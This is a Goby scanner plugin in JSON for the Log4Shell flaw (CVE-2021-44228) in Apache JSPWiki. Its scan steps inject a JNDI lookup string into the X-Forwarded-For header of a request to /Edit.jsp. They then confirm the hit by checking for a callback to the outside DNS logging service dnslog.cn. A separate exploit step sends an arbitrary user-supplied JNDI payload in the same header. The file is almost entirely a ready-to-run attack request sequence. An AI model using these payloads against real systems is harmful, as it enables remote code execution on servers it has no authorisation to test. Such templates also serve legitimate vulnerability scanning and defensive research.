Goby/json/Apache_JSPWiki_Log4shell_CV...

156 lines
5.6 KiB
JSON
Raw Normal View History

2022-11-25 02:08:58 -08:00
{
"Name": "Apache JSPWiki Log4shell CVE-2021-44228 (1)",
"Level": "3",
"Tags": [
"rce"
],
"GobyQuery": "( body=\"<div>JSPWiki\" | title=\"JSPWiki\")",
"Description": "Apache JSPWiki /Edit.jsp?page=Main存在log4j漏洞会读取X-Forwarded-For参数。",
"Product": "JSPWiki",
"Homepage": "https://jspwiki.apache.org/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://mp.weixin.qq.com/s?__biz=MzA5OTA0MTU4Mg==&mid=2247485581&idx=1&sn=033cafb1442d44e6cfc85796e42f206d"
],
"HasExp": true,
"ExpParams": [
{
"Name": "cmd",
"Type": "input",
"Value": "${jndi:dns://xxxxdns.cn/tea}"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getdomain.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"dnstest|lastbody||"
]
},
{
"Request": {
"method": "GET",
"uri": "/Edit.jsp?page=Main",
"follow_redirect": false,
"header": {
"X-Forwarded-For": "${jndi:dns://{{{dnstest}}}/tea}"
},
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
},
{
"Request": {
"method": "GET",
"uri": "http://www.dnslog.cn/getrecords.php",
"follow_redirect": false,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "{{{dnstest}}}",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/Edit.jsp?page=Main",
"follow_redirect": false,
"header": {
"X-Forwarded-For": "{{{cmd}}}"
},
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "2021-12-27 14:17:24",
"GobyVersion": "1.9.310"
}